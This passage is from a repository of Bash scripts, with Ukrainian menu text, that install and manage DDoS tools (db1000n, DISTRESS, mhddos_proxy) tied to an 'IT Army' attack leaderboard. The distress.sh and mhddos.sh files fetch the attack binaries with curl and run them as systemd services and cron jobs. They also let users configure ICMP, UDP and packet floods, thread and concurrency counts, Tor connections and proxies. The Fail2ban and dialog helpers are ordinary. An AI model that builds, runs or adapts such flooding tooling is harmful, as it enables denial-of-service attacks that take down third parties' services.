218 | if read -rsn1 -t 0.1; then
219 | break
220 | fi
221 | done
222 | initiate_db1000n
223 | }
224 |
225 | db1000n_installed() {
226 | if [[ ! -f "$TOOL_DIR/db1000n" ]]; then
227 | return 1
228 | else
229 | return 0
230 | fi
231 | }
232 |
233 | initiate_db1000n() {
234 | db1000n_installed
235 | if [[ $? == 1 ]]; then
236 | confirm_dialog "$(trans "DB1000N не встановлений, будь ласка встановіть і спробуйте знову")"
237 | ddos_tool_managment
238 | else
239 | if sudo systemctl is-active db1000n >/dev/null 2>&1; then
240 | active_disactive="$(trans "Зупинка DB1000N")"
241 | else
242 | active_disactive="$(trans "Запуск DB1000N")"
243 | fi
244 | menu_items=("$active_disactive" "$(trans "Налаштування DB1000N")" "$(trans "Статус DB1000N")" "$(trans "Повернутись назад")")
245 | res=$(display_menu "DB1000N" "${menu_items[@]}")
246 |
247 | case "$res" in
248 | "$(trans "Зупинка DB1000N")")
249 | db1000n_stop
250 | db1000n_get_status
251 | ;;
252 | "$(trans "Запуск DB1000N")")
253 | db1000n_run
254 | db1000n_get_status
255 | ;;
256 | "$(trans "Налаштування DB1000N")")
257 | configure_db1000n
258 | initiate_db1000n
259 | ;;
260 | "$(trans "Статус DB1000N")")
261 | db1000n_get_status
262 | ;;
263 | "$(trans "Повернутись назад")")
264 | ddos_tool_managment
265 | ;;
266 | esac
267 | fi
268 | }
269 |
--------------------------------------------------------------------------------
/utils/definitions.sh:
--------------------------------------------------------------------------------
1 | get_distribution() {
2 | lsb_dist=""
3 |
4 | if [ -r /etc/os-release ]; then
5 | lsb_dist="$(. /etc/os-release && echo "$ID")"
6 | lsb_dist=$(echo "$lsb_dist" | tr '[:upper:]' '[:lower:]')
7 | fi
8 |
9 | echo $lsb_dist
10 | }
11 |
--------------------------------------------------------------------------------
/utils/dialog.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | adss_dialog() {
4 | dialog --ascii-lines --title "Execution Message" --infobox "$1" 10 40
5 | }
6 |
7 | confirm_dialog() {
8 | dialog --ascii-lines --title "Execution Message" --infobox "$1" 10 40
9 | sleep 2
10 | }
11 |
--------------------------------------------------------------------------------
/utils/distress.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | install_distress() {
4 | adss_dialog "$(trans "Встановлюємо DISTRESS")"
5 |
6 | install() {
7 | cd $TOOL_DIR
8 | package=''
9 | case "$OSARCH" in
10 | aarch64*)
11 | package=https://github.com/Yneth/distress-releases/releases/latest/download/distress_aarch64-unknown-linux-musl
12 | ;;
13 |
14 | armv6* | armv7* | armv8*)
15 | package=https://github.com/Yneth/distress-releases/releases/latest/download/distress_arm-unknown-linux-musleabi
16 | ;;
17 |
18 | x86_64*)
19 | package=https://github.com/Yneth/distress-releases/releases/latest/download/distress_x86_64-unknown-linux-musl
20 | ;;
21 |
22 | i386* | i686*)
23 | package=https://github.com/Yneth/distress-releases/releases/latest/download/distress_i686-unknown-linux-musl
24 | ;;
25 |
26 | *)
27 | confirm_dialog "$(trans "Неможливо визначити розрядность операційної системи")"
28 | ddos_tool_managment
29 | ;;
30 | esac
31 |
32 | sudo curl -Lo distress "$package"
33 | sudo chmod +x distress
34 | regenerate_distress_service_file
35 | create_symlink
36 | }
37 | install > /dev/null 2>&1
38 | confirm_dialog "$(trans "DISTRESS успішно встановлено")"
39 | }
40 |
41 | configure_distress() {
42 | clear
43 | declare -A params;
44 |
45 | echo -e "${ORANGE}$(trans "Залишіть пустим якщо бажаєте видалити пераметри")${NC}"
46 | echo -ne "\n"
47 | echo -ne "${GREEN}$(trans "Для збору особистої статистики та відображення у лідерборді на офіційному сайті.")${NC} ${ORANGE}https://itarmy.com.ua/leaderboard ${NC}""\n"
48 | echo -ne "${GREEN}$(trans "Надається Telegram ботом")${NC} ${ORANGE}@itarmy_stats_bot${NC}""\n"
49 | echo -ne "\n"
50 | read -e -p "$(trans "Юзер ІД: ")" -i "$(get_distress_variable 'user-id')" user_id
51 | if [[ -n "$user_id" ]];then
52 | while [[ ! $user_id =~ ^[0-9]+$ ]]
53 | do
54 | echo "$(trans "Будь ласка введіть правильні значення")"
55 | read -e -p "$(trans "Юзер ІД: ")" -i "$(get_distress_variable 'user-id')" user_id
56 | done
57 | fi
58 |
59 | params[user-id]=$user_id
60 |
61 | read -e -p "$(trans "Відсоткове співвідношення використання власної IP адреси (0-100): ")" -i "$(get_distress_variable 'use-my-ip')" use_my_ip
62 |
63 | if [[ -n "$use_my_ip" ]]; then
64 | while [[ $use_my_ip -lt 0 || $use_my_ip -gt 100 ]]
65 | do
66 | echo "$(trans "Будь ласка введіть правильні значення")"
67 | read -e -p "$(trans "Відсоткове співвідношення використання власної IP адреси (0-100): ")" -i "$(get_distress_variable 'use-my-ip')" use_my_ip
68 | done
69 |
70 | fi
71 | params[use-my-ip]=$use_my_ip
72 |
73 | if [[ $use_my_ip -gt 0 ]]; then
74 |
75 | read -e -p "$(trans "Увімкнути ICMP флуд (1 | 0): ")" -i "$(get_distress_variable 'enable-icmp-flood')" enable_icmp_flood
76 | if [[ -n "$enable_icmp_flood" ]];then
77 | while [[ "$enable_icmp_flood" != "1" && "$enable_icmp_flood" != "0" ]]
78 | do
79 | echo "$(trans "Будь ласка введіть правильні значення")"
80 | read -e -p "$(trans "Увімкнути ICMP флуд (1 | 0): ")" -i "$(get_distress_variable 'enable-icmp-flood')" enable_icmp_flood
81 | done
82 | fi
83 |
84 | params[enable-icmp-flood]=$enable_icmp_flood
85 |
86 | read -e -p "$(trans "Увімкнути packet флуд (1 | 0): ")" -i "$(get_distress_variable 'enable-packet-flood')" enable_packet_flood
87 | if [[ -n "$enable_packet_flood" ]];then
88 | while [[ "$enable_packet_flood" != "1" && "$enable_packet_flood" != "0" ]]
89 | do
90 | echo "$(trans "Будь ласка введіть правильні значення")"
91 | read -e -p "$(trans "Увімкнути packet флуд (1 | 0): ")" -i "$(get_distress_variable 'enable-packet-flood')" enable_packet_flood
92 | done
93 | fi
94 | params[enable-packet-flood]=$enable_packet_flood
95 |
96 | read -e -p "$(trans "Вимкнути UDP флуд (1 | 0): ")" -i "$(get_distress_variable 'disable-udp-flood')" disable_udp_flood
97 | if [[ -n "$disable_udp_flood" ]];then
98 | while [[ "$disable_udp_flood" != "1" && "$disable_udp_flood" != "0" ]]
99 | do
100 | echo "$(trans "Будь ласка введіть правильні значення")"
101 | read -e -p "$(trans "Вимкнути UDP flood (1 | 0): ")" -i "$(get_distress_variable 'disable-udp-flood')" disable_udp_flood
102 | done
103 | fi
104 | params[disable-udp-flood]=$disable_udp_flood
105 |
106 | if [[ "$disable_udp_flood" -eq 0 ]];then
107 | packageSize="$(get_distress_variable 'udp-packet-size')"
108 | if [[ -z $packageSize || $packageSize == " " ]];then
109 | packageSize=1420
110 | fi
111 |
112 | read -e -p "$(trans "Розмір UDP пакунку (576-1420): ")" -i "$packageSize" udp_packet_size
113 | if [[ -n "$udp_packet_size" ]];then
114 | while [[ "$udp_packet_size" -lt 576 || "$udp_packet_size" -gt 1420 ]]
115 | do
116 | echo "$(trans "Будь ласка введіть правильні значення")"
117 | read -e -p "$(trans "Розмір UDP пакунку (576-1420): ")" -i "$packageSize" udp_packet_size
118 | done
119 | fi
120 |
121 | params[udp-packet-size]=$udp_packet_size
122 |
123 | connCount="$(get_distress_variable 'direct-udp-mixed-flood-packets-per-conn')"
124 | if [[ -z $connCount || $connCount == " " ]];then
125 | connCount=30
126 | fi
127 |
128 | read -e -p "$(trans "Кількість пакетів (1-100): ")" -i $connCount direct_udp_mixed_flood_packets_per_conn
129 | if [[ -n "$direct_udp_mixed_flood_packets_per_conn" ]];then
130 | while [[ $direct_udp_mixed_flood_packets_per_conn -lt 0 || $direct_udp_mixed_flood_packets_per_conn -gt 100 ]]
131 | do
132 | echo "$(trans "Будь ласка введіть правильні значення")"
133 | read -e -p "$(trans "Кількість пакетів (1-100): ")" -i $connCount direct_udp_mixed_flood_packets_per_conn
134 | done
135 | fi
136 |
137 | params[direct-udp-mixed-flood-packets-per-conn]=$direct_udp_mixed_flood_packets_per_conn
138 |
139 | fi
140 | fi
141 |
142 | read -e -p "$(trans "Кількість підключень Tor (0-100): ")" -i "$(get_distress_variable 'use-tor')" use_tor
143 | if [[ -n "$use_tor" ]];then
144 | while [[ $use_tor -lt 0 || $use_tor -gt 100 ]]
145 | do
146 | echo "$(trans "Будь ласка введіть правильні значення")"
147 | read -e -p "$(trans "Кількість підключень Tor (0-100): ")" -i "$(get_distress_variable 'use-tor')" use_tor
148 | done
149 | fi
150 |
151 | params[use-tor]=$use_tor
152 |
153 | read -e -p "$(trans "Кількість створювачів завдань (50-100000): ")" -i "$(get_distress_variable 'concurrency')" concurrency
154 | if [[ -n "$concurrency" ]];then
155 | while [[ $concurrency -lt 50 || $concurrency -gt 100000 ]]
156 | do
157 | echo "$(trans "Будь ласка введіть правильні значення")"
158 | read -e -p "$(trans "Кількість створювачів завдань (50-100000): ")" -i "$(get_distress_variable 'concurrency')" concurrency
159 | done
160 | fi
161 |
162 | params[concurrency]=$concurrency
163 |
164 | read -e -p "$(trans "Проксі (шлях до файлу): ")" -i "$(get_distress_variable 'proxies-path')" proxies
165 | proxies=$(echo $proxies | sed 's/\//\\\//g')
166 |
167 | params[proxies-path]=$proxies
168 |
169 | echo -ne "\n"
170 | echo -e "${ORANGE}$(trans "Мережеві інтерфейси (через кому: eth0,eth1,тощо.)")${NC}"
171 | read -e -p "$(trans "Інтерфейси: ")" -i "$(get_distress_variable 'interface')" interface
172 | if [[ -n "$interface" ]];then
173 | params[interface]=$interface
174 | else
175 | params[interface]=" "
176 | fi
177 |
178 | for i in "${!params[@]}"; do
179 | value="${params[$i]}"
180 | write_distress_variable "$i" "$value"
181 | done
182 | regenerate_distress_service_file
183 | if systemctl is-active --quiet distress.service; then
184 | sudo rm -rf /tmp/distress >/dev/null 2>&1
185 | sudo systemctl restart distress.service >/dev/null 2>&1
186 | fi
187 | confirm_dialog "$(trans "Успішно виконано")"
188 | }
189 |
190 | get_distress_variable() {
191 | local lines=$(sed -n "/\[distress\]/,/\[\/distress\]/p" "${SCRIPT_DIR}"/services/EnvironmentFile)
192 | local variable=$(echo "$lines" | grep "$1=" | cut -d '=' -f2)
193 | echo "$variable"
194 | }
195 |
196 | write_distress_variable() {
197 | sed -i "/\[distress\]/,/\[\/distress\]/s/$1=.*/$1=$2/g" "${SCRIPT_DIR}"/services/EnvironmentFile
198 | }
199 |
200 | regenerate_distress_service_file() {
201 | local lines=$(sed -n "/\[distress\]/,/\[\/distress\]/p" "${SCRIPT_DIR}"/services/EnvironmentFile)
202 |
203 | local start="ExecStart=${SCRIPT_DIR}/bin/distress"
204 |
205 | declare -A data
206 | while read -r line
207 | do
208 | key=$(echo "$line" | cut -d '=' -f1)
209 | value=$(echo "$line" | cut -d '=' -f2)
210 |
211 | if [[ "$key" = "[distress]" || "$key" = "[/distress]" ]]; then
212 | continue
213 | fi
214 | if [[ "$key" == 'disable-udp-flood' ]]; then
215 | if [[ "$(get_distress_variable 'use-my-ip')" == 0 ]]; then
216 | continue
217 | fi
218 | if [[ "$(get_distress_variable 'disable-udp-flood')" == 0 ]]; then
219 | continue
220 | fi
221 | if [[ "$(get_distress_variable 'disable-udp-flood')" == 1 ]]; then
222 | value=" "
223 | #end result will be just "--disable-udp-flood "
224 | fi
225 | fi
226 |
227 | if [[ "$key" == 'udp-packet-size' ]]; then
228 | if [[ "$(get_distress_variable 'use-my-ip')" == 0 ]]; then
229 | continue
230 | fi
231 | if [[ "$(get_distress_variable 'disable-udp-flood')" == 1 ]]; then
232 | continue
233 | fi
234 | fi
235 |
236 | if [[ "$key" == 'direct-udp-mixed-flood-packets-per-conn' ]]; then
237 | if [[ "$(get_distress_variable 'use-my-ip')" == 0 ]]; then
238 | continue
239 | fi
240 | if [[ "$(get_distress_variable 'disable-udp-flood')" == 1 ]]; then
241 | continue
242 | fi
243 | fi
244 |
245 | if [[ "$key" == 'enable-packet-flood' ]]; then
246 | if [[ "$(get_distress_variable 'use-my-ip')" == 0 ]]; then
247 | continue
248 | fi
249 | if [[ "$(get_distress_variable 'enable-packet-flood')" == 0 ]]; then
250 | continue
251 | fi
252 | if [[ "$(get_distress_variable 'enable-packet-flood')" == 1 ]]; then
253 | value=" "
254 | #end result will be just "--enable-packet-flood "
255 | fi
256 | fi
257 |
258 | if [[ "$key" == 'enable-icmp-flood' ]]; then
259 | if [[ "$(get_distress_variable 'use-my-ip')" == 0 ]]; then
260 | continue
261 | fi
262 | if [[ "$(get_distress_variable 'enable-icmp-flood')" == 0 ]]; then
263 | continue
264 | fi
265 | if [[ "$(get_distress_variable 'enable-icmp-flood')" == 1 ]]; then
266 | value=" "
267 | #end result will be just "--enable-icmp-flood "
268 | fi
269 | fi
270 |
271 | if [[ "$key" == 'use-my-ip' && "$(get_distress_variable 'use-my-ip')" == 0 ]];then
272 | continue
273 | fi
274 | if [[ "$key" == 'use-tor' && "$(get_distress_variable 'use-tor')" == 0 ]];then
275 | continue
276 | fi
277 |
278 | if [[ "$value" ]]; then
279 | data["$key"]="$value"
280 | fi
281 | done <<< "$lines"
282 | for key in "${!data[@]}"; do
283 | start="$start --$key ${data[$key]}"
284 | done
285 | start=$(echo $start | sed 's/\//\\\//g')
286 |
287 | sed -i "s/ExecStart=.*/$start/g" "${SCRIPT_DIR}"/services/distress.service
288 |
289 | sudo systemctl daemon-reload
290 | }
291 |
292 | distress_run() {
293 | sudo rm -rf /tmp/distress >/dev/null 2>&1
294 | sudo systemctl stop mhddos.service >/dev/null 2>&1
295 | sudo systemctl stop db1000n.service >/dev/null 2>&1
296 | sudo systemctl stop x100.service >/dev/null 2>&1
297 | sudo systemctl start distress.service >/dev/null 2>&1
298 | }
299 |
300 | distress_auto_enable() {
301 | sudo systemctl disable mhddos.service >/dev/null 2>&1
302 | sudo systemctl disable db1000n.service >/dev/null 2>&1
303 | sudo systemctl disable x100 >/dev/null 2>&1
304 | sudo systemctl enable distress >/dev/null 2>&1
305 | create_symlink
306 | confirm_dialog "$(trans "DISTRESS додано до автозавантаження")"
307 | }
308 |
309 | distress_auto_disable() {
310 | sudo systemctl disable distress >/dev/null 2>&1
311 | create_symlink
312 | confirm_dialog "$(trans "DISTRESS видалено з автозавантаження")"
313 | }
314 |
315 | distress_enabled() {
316 | sudo systemctl is-enabled distress >/dev/null 2>&1 && return 0 || return 1
317 | }
318 |
319 | distress_stop() {
320 | sudo systemctl stop distress.service >/dev/null 2>&1
321 | }
322 |
323 | distress_get_status() {
324 | while true; do
325 | clear
326 | st=$(sudo systemctl status distress.service)
327 | echo "$st"
328 | echo -e "${ORANGE}$(trans "Нажміть будь яку клавішу щоб продовжити")${NC}"
329 | sleep 3
330 | if read -rsn1 -t 0.1; then
331 | break
332 | fi
333 | done
334 | initiate_distress
335 | }
336 |
337 | distress_installed() {
338 | if [[ ! -f "$TOOL_DIR/distress" ]]; then
339 | return 1
340 | else
341 | return 0
342 | fi
343 | }
344 |
345 | distress_configure_scheduler() {
346 | clear
347 | echo -ne "${GREEN} .---------------- $(trans "хвилина") (0 - 59)
348 | | .------------- $(trans "година") (0 - 23)
349 | | | .---------- $(trans "день місяця") (1 - 31)
350 | | | | .------- $(trans "місяць") (1 - 12)
351 | | | | | .---- $(trans "день тижня") (0 - 6)
352 | | | | | |
353 | * * * * *${NC}"
354 |
355 | echo -ne "\n\n"
356 | echo -ne "${GREEN}$(trans "Або згенеруйте його за посиланням") ${NC}${RED}https://crontab.guru/${NC}"
357 | echo -ne "\n\n"
358 | echo -ne "$(trans "Зверніть увагу на ваш час командою") ${GREEN}date${NC}"
359 | echo -ne "\n\n"
360 | echo -ne "$(trans "Наприклад:")"
361 | echo -ne "\n"
362 | echo -ne " ${GREEN}$(trans "Запуск DISTRESS о 20:00 щодня") -${NC} ${RED}0 20 * * *${NC}"
363 | echo -ne "\n"
364 | echo -ne " ${GREEN}$(trans "Зупинка DISTRESS о 08:00 щодня") -${NC} ${RED}0 8 * * *${NC}"
365 | echo -ne "\n\n"
366 | read -e -p "$(trans "Введіть cron-час для ЗАПУСКУ (формат: * * * * *): ")" -i "$(get_distress_variable 'cron-to-run')" cron_time_to_run
367 | echo -ne "\n"
368 | read -e -p "$(trans "Введіть cron-час для ЗУПИНКИ (формат: * * * * *): ")" -i "$(get_distress_variable 'cron-to-stop')" cron_time_to_stop
369 |
370 |
371 | if [[ -n "$cron_time_to_run" ]]; then
372 | write_distress_variable "cron-to-run" "$cron_time_to_run"
373 | elif [[ "$cron_time_to_run" == "" ]]; then
374 | sudo crontab -l | grep -v 'distress_run' | sudo crontab -
375 | write_distress_variable "cron-to-run" ""
376 | fi
377 |
378 | if [[ -n "$cron_time_to_stop" ]]; then
379 | write_distress_variable "cron-to-stop" "$cron_time_to_stop"
380 | elif [[ "$cron_time_to_stop" == "" ]]; then
381 | sudo crontab -l | grep -v 'distress_stop' | sudo crontab -
382 | write_distress_variable "cron-to-stop" ""
383 | fi
384 |
385 | if [[ "$cron_time_to_run" == "" ]] && [[ "$cron_time_to_stop" == "" ]]; then
386 | confirm_dialog "$(trans "Запуск DISTRESS за розкладом припинено")"
387 | autoload_configuration
388 | elif [[ -n "$cron_time_to_run" ]] || [[ -n "$cron_time_to_stop" ]]; then
389 | to_start_distress_schedule_running
390 | else
391 | autoload_configuration
392 | fi
393 | }
394 |
395 | check_if_distress_running_on_schedule() {
396 | ($(sudo crontab -l | grep -q 'distress_run') || $(sudo crontab -l | grep -q 'distress_stop')) >/dev/null 2>&1 && return 0 || return 1
397 | }
398 |
399 | to_start_distress_schedule_running() {
400 | local menu_items=("$(trans "Так")" "$(trans "Ні")")
401 | local res=$(display_menu "$(trans "Запустити DISTRESS за розкладом?")" "${menu_items[@]}")
402 | case "$res" in
403 | "$(trans "Так")")
404 | run_distress_on_schedule
405 | confirm_dialog "$(trans "DISTRESS буде ЗАПУЩЕНО за розкладом")"
406 | autoload_configuration
407 | ;;
408 | "$(trans "Ні")")
409 | autoload_configuration
410 | ;;
411 | esac
412 | }
413 |
414 | stop_distress_on_schedule() {
415 | sudo crontab -l | grep -v 'distress_run' | sudo crontab -
416 | sudo crontab -l | grep -v 'distress_stop' | sudo crontab -
417 | write_distress_variable "cron-to-run" ""
418 | write_distress_variable "cron-to-stop" ""
419 | }
420 |
421 | run_distress_on_schedule() {
422 | sudo systemctl disable mhddos >/dev/null 2>&1
423 | sudo systemctl disable distress >/dev/null 2>&1
424 | sudo systemctl disable x100 >/dev/null 2>&1
425 | sudo systemctl disable db1000n >/dev/null 2>&1
426 | create_symlink
427 |
428 | chmod +x "$SCRIPT_DIR/utils/distress.sh"
429 | local cron_time_to_run=$(get_distress_variable 'cron-to-run')
430 | local cron_time_to_stop=$(get_distress_variable 'cron-to-stop')
431 | sudo crontab -l | grep -v 'distress_run' | sudo crontab -
432 | sudo crontab -l | grep -v 'distress_stop' | sudo crontab -
433 | sudo crontab -l | grep -v 'mhddos_run' | sudo crontab -
434 | sudo crontab -l | grep -v 'mhddos_stop' | sudo crontab -
435 | sudo crontab -l | grep -v 'x100_run' | sudo crontab -
436 | sudo crontab -l | grep -v 'x100_stop' | sudo crontab -
437 |
438 | if [[ -n "$cron_time_to_run" ]]; then
439 | (sudo crontab -l 2>/dev/null; echo "$cron_time_to_run bash -c '. $SCRIPT_DIR/utils/distress.sh && distress_run'") | sudo crontab -
440 | fi
441 |
442 | if [[ -n "$cron_time_to_stop" ]]; then
443 | (sudo crontab -l 2>/dev/null; echo "$cron_time_to_stop bash -c '. $SCRIPT_DIR/utils/distress.sh && distress_stop'") | sudo crontab -
444 | fi
445 | }
446 |
447 |
448 | initiate_distress() {
449 | distress_installed
450 | if [[ $? == 1 ]]; then
451 | confirm_dialog "$(trans "DISTRESS не встановлений, будь ласка встановіть і спробуйте знову")"
452 | ddos_tool_managment
453 | else
454 | if sudo systemctl is-active distress >/dev/null 2>&1; then
455 | local active_disactive="$(trans "Зупинка DISTRESS")"
456 | else
457 | local active_disactive="$(trans "Запуск DISTRESS")"
458 | fi
459 | local menu_items=("$active_disactive" "$(trans "Налаштування DISTRESS")" "$(trans "Статус DISTRESS")" "$(trans "Повернутись назад")")
460 | res=$(display_menu "DISTRESS" "${menu_items[@]}")
461 |
462 | case "$res" in
463 | "$(trans "Зупинка DISTRESS")")
464 | distress_stop
465 | distress_get_status
466 | ;;
467 | "$(trans "Запуск DISTRESS")")
468 | distress_run
469 | distress_get_status
470 | ;;
471 | "$(trans "Налаштування DISTRESS")")
472 | configure_distress
473 | initiate_distress
474 | ;;
475 | "$(trans "Статус DISTRESS")")
476 | distress_get_status
477 | ;;
478 | "$(trans "Повернутись назад")")
479 | ddos_tool_managment
480 | ;;
481 | esac
482 | fi
483 | }
484 |
485 | stop_x100_on_schedule() {
486 | sudo crontab -l | grep -v 'x100_run' | sudo crontab -
487 | sudo crontab -l | grep -v 'x100_stop' | sudo crontab -
488 | write_x100_adss_variable "cron-to-run" ""
489 | write_x100_adss_variable "cron-to-stop" ""
490 | }
--------------------------------------------------------------------------------
/utils/fail2ban.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | source "${SCRIPT_DIR}/utils/definitions.sh"
4 |
5 | install_fail2ban() {
6 | case $(get_distribution) in
7 | fedora | rocky)
8 | adss_dialog "$(trans "Встановлюємо Fail2ban")"
9 | install() {
10 | sudo dnf update -y
11 | sudo dnf upgrade -y
12 | sudo dnf install -y fail2ban
13 | }
14 | install >/dev/null 2>&1
15 | confirm_dialog "$(trans "Fail2ban успішно встановлено")"
16 | ;;
17 | ol)
18 | adss_dialog "$(trans "Встановлюємо Fail2ban")"
19 | install() {
20 | sudo dnf install epel-release -y
21 | sudo dnf update -y
22 | sudo dnf upgrade -y
23 | sudo dnf install fail2ban fail2ban-firewalld -y
24 | }
25 | install >/dev/null 2>&1
26 | confirm_dialog "$(trans "Fail2ban успішно встановлено")"
27 | ;;
28 | *)
29 | adss_dialog "$(trans "Встановлюємо Fail2ban")"
30 | install() {
31 | sudo apt-get update -y
32 | sudo apt-get install -y fail2ban
33 | }
34 | install >/dev/null 2>&1
35 | confirm_dialog "$(trans "Fail2ban успішно встановлено")"
36 | ;;
37 | esac
38 | }
39 |
40 | fail2ban_is_active() {
41 | if systemctl is-active --quiet fail2ban; then
42 | return 1
43 | else
44 | return 0
45 | fi
46 | }
47 | enable_fail2ban() {
48 | sudo systemctl enable fail2ban >/dev/null 2>&1
49 | sudo systemctl start fail2ban >/dev/null 2>&1
50 | confirm_dialog "$(trans "Fail2ban успішно увімкнено")"
51 | }
52 | disable_fail2ban() {
53 | sudo systemctl disable fail2ban >/dev/null 2>&1
54 | sudo systemctl stop fail2ban >/dev/null 2>&1
55 | confirm_dialog "$(trans "Fail2ban успішно вимкнено")"
56 | }
57 |
58 | fail2ban_installed() {
59 | if [[ ! -e "/etc/fail2ban" ]]; then
60 | return 0
61 | else
62 | return 1
63 | fi
64 | }
65 |
66 | configure_fail2ban() {
67 | fail2ban_installed
68 | if [[ $? == 0 ]]; then
69 | confirm_dialog "$(trans "Fail2ban не встановлений, будь ласка встановіть і спробуйте знову")"
70 | else
71 | adss_dialog "$(trans "Налаштовуємо Fail2ban")"
72 | configure() {
73 | sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
74 | sudo bash -c "echo '
75 | [ssh]
76 | enabled = true
77 | port = ssh
78 | filter = sshd
79 | action = iptables[name=sshd, port=ssh, protocol=tcp]
80 | logpath = %(sshd_log)s
81 | backend = %(sshd_backend)s
82 | maxretry = 3
83 | bantime = 600' >> /etc/fail2ban/jail.local"
84 |
85 | sudo /bin/systemctl restart fail2ban.service
86 | }
87 | configure >/dev/null 2>&1
88 | confirm_dialog "$(trans "Fail2ban успішно налаштовано")"
89 | fi
90 | }
91 |
--------------------------------------------------------------------------------
/utils/mhddos.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | install_mhddos() {
4 | adss_dialog "$(trans "Встановлюємо MHDDOS")"
5 | install() {
6 | cd $TOOL_DIR
7 | package=''
8 | case "$OSARCH" in
9 | aarch64*)
10 | package=https://github.com/porthole-ascend-cinnamon/mhddos_proxy_releases/releases/latest/download/mhddos_proxy_linux_arm64
11 | ;;
12 |
13 | armv6* | armv7* | armv8*)
14 | ;;
15 |
16 | x86_64*)
17 | package=https://github.com/porthole-ascend-cinnamon/mhddos_proxy_releases/releases/latest/download/mhddos_proxy_linux
18 | ;;
19 |
20 | i386* | i686*)
21 | package=https://github.com/porthole-ascend-cinnamon/mhddos_proxy_releases/releases/latest/download/mhddos_proxy_linux_x86
22 | ;;
23 |
24 | *)
25 | confirm_dialog "$(trans "Неможливо визначити розрядность операційної системи")"
26 | ddos_tool_managment
27 | ;;
28 | esac
29 |
30 | sudo curl -Lo mhddos_proxy_linux "$package"
31 | sudo chmod +x mhddos_proxy_linux
32 | regenerate_mhddos_service_file
33 | create_symlink
34 | }
35 | install > /dev/null 2>&1
36 | if [[ $package == '' ]];then
37 | confirm_dialog "MHDDOS_PROXY does not support ARM32"
38 | else
39 | confirm_dialog "$(trans "MHDDOS успішно встановлено")"
40 | fi
41 | }
42 |
43 | configure_mhddos() {
44 | clear
45 | declare -A params
46 | echo -e "${ORANGE}$(trans "Залишіть пустим якщо бажаєте видалити пераметри")${NC}"
47 | echo -ne "\n"
48 | echo -ne "${GREEN}$(trans "Для збору особистої статистики та відображення у лідерборді на офіційному сайті.")${NC} ${ORANGE}https://itarmy.com.ua/leaderboard ${NC}""\n"
49 | echo -ne "${GREEN}$(trans "Надається Telegram ботом")${NC} ${ORANGE}@itarmy_stats_bot${NC}""\n"
50 | echo -ne "\n"
51 | read -e -p "$(trans "Юзер ІД: ")" -i "$(get_mhddos_variable 'user-id')" user_id
52 | if [[ -n "$user_id" ]];then
53 | while [[ ! $user_id =~ ^[0-9]+$ ]]
54 | do
55 | echo "$(trans "Будь ласка введіть правильні значення")"
56 | read -e -p "$(trans "Юзер ІД: ")" -i "$(get_mhddos_variable 'user-id')" user_id
57 | done
58 | fi
59 |
60 | params[user-id]=$user_id
61 |
62 | read -e -p "$(trans "Мова (ua | en | es | de | pl | it): ")" -i "$(get_mhddos_variable 'lang')" lang
63 |
64 | languages=("ua" "en" "es" "de" "pl" "it")
65 | if [[ -n "$lang" ]];then
66 | while [[ ! "${languages[*]}" =~ "$lang" ]]
67 | do
68 | echo "$(trans "Будь ласка введіть правильні значення")"
69 | read -e -p "$(trans "Мова (ua | en | es | de | pl | it): ")" -i "$(get_mhddos_variable 'lang')" lang
70 | done
71 | fi
72 |
73 | params[lang]=$lang
74 |
75 | read -e -p "$(trans "Кількість копій (auto | X): ")" -i "$(get_mhddos_variable 'copies')" copies
76 | if [[ -n "$copies" ]];then
77 | while [[ ! $copies =~ ^[0-9]+$ && "$copies" != "auto" ]]
78 | do
79 | echo "$(trans "Будь ласка введіть правильні значення")"
80 | read -e -p "$(trans "Кількість копій (auto | X): ")" -i "$(get_mhddos_variable 'copies')" copies
81 | done
82 | fi
83 |
84 | params[copies]=$copies
85 |
86 | read -e -p "$(trans "Відсоткове співвідношення використання власної IP адреси (0-100): ")" -i "$(get_mhddos_variable 'use-my-ip')" use_my_ip
87 | if [[ -n "$use_my_ip" ]];then
88 | while [[ $use_my_ip -lt 0 || $use_my_ip -gt 100 ]]
89 | do
90 | echo "$(trans "Будь ласка введіть правильні значення")"
91 | read -e -p "$(trans "Відсоткове співвідношення використання власної IP адреси (0-100): ")" -i "$(get_mhddos_variable 'use-my-ip')" use_my_ip
92 | done
93 | fi
94 |
95 | params[use-my-ip]=$use_my_ip
96 |
97 | read -e -p "Threads: " -i "$(get_mhddos_variable 'threads')" threads
98 | if [[ -n "$threads" ]];then
99 | while [[ ! $threads =~ ^[0-9]+$ ]]
100 | do
101 | echo "$(trans "Будь ласка введіть правильні значення")"
102 | read -e -p "Threads: " -i "$(get_mhddos_variable 'threads')" threads
103 | done
104 | fi
105 |
106 | params[threads]=$threads
107 |
108 | read -e -p "$(trans "Проксі (шлях до файлу або веб-ресурсу): ")" -i "$(get_mhddos_variable 'proxies')" proxies
109 | proxies=$(echo $proxies | sed 's/\//\\\//g')
110 |
111 | params[proxies]=$proxies
112 |
113 | echo -ne "\n"
114 | echo -e "${ORANGE}$(trans "Мережеві інтерфейси (через пробіл: eth0 eth1 тощо.)")${NC}"
115 | read -e -p "$(trans "Інтерфейси: ")" -i "$(get_mhddos_variable 'ifaces')" interface
116 | if [[ -n "$interface" ]];then
117 | params[ifaces]=$interface
118 | else
119 | params[ifaces]=" "
120 | fi
121 |
122 | for i in "${!params[@]}"; do
123 | value="${params[$i]}"
124 | write_mhddos_variable "$i" "$value"
125 | done
126 | regenerate_mhddos_service_file
127 | if systemctl is-active --quiet mhddos.service; then
128 | sudo rm -rf /tmp/_MEI* >/dev/null 2>&1
129 | sudo systemctl restart mhddos.service >/dev/null 2>&1
130 | fi
131 | confirm_dialog "$(trans "Успішно виконано")"
132 | }
133 |
134 | get_mhddos_variable() {
135 | local lines=$(sed -n "/\[mhddos\]/,/\[\/mhddos\]/p" "${SCRIPT_DIR}"/services/EnvironmentFile)
136 | local variable=$(echo "$lines" | grep "$1=" | cut -d '=' -f2)
137 | echo "$variable"
138 | }
139 |
140 | write_mhddos_variable() {
141 | sed -i "/\[mhddos\]/,/\[\/mhddos\]/s/$1=.*/$1=$2/g" "${SCRIPT_DIR}"/services/EnvironmentFile
142 | }
143 |
144 | regenerate_mhddos_service_file() {
145 | local lines=$(sed -n "/\[mhddos\]/,/\[\/mhddos\]/p" "${SCRIPT_DIR}"/services/EnvironmentFile)
146 |
